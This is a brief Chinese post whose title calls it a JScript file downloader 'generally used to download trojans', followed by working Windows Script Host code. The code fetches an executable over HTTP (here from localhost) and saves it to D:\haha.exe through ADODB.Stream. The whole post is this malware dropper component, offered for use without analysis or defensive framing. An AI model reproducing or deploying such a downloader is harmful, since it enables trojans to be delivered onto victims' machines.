JScript 脚本实现文件下载 一般用于下载木马

var objArgs=WScript.Arguments; 
var sGet=new ActiveXObject("ADODB.Stream"); 
var xGet=null; 
try{ 
xGet=new XMLHttpRequest(); 
}catch(e){ 
try{ 
xGet=new ActiveXObject("Msxml2.XMLHTTP"); 
}catch(ex){ 
try{ 
xGet=new ActiveXObject("Microsoft.XMLHTTP"); 
}catch(e3){ 
xGet=null; 
} 
} 
} 
if(xGet != null){ 
xGet.Open("GET","http://localhost/aplan/mycalc.exe",0); 
xGet.Send(); 
sGet.Mode=3; 
sGet.Type=1; 
sGet.Open(); 
sGet.Write(xGet.ResponseBody); 
sGet.SaveToFile("D:\\haha.exe",2); 
}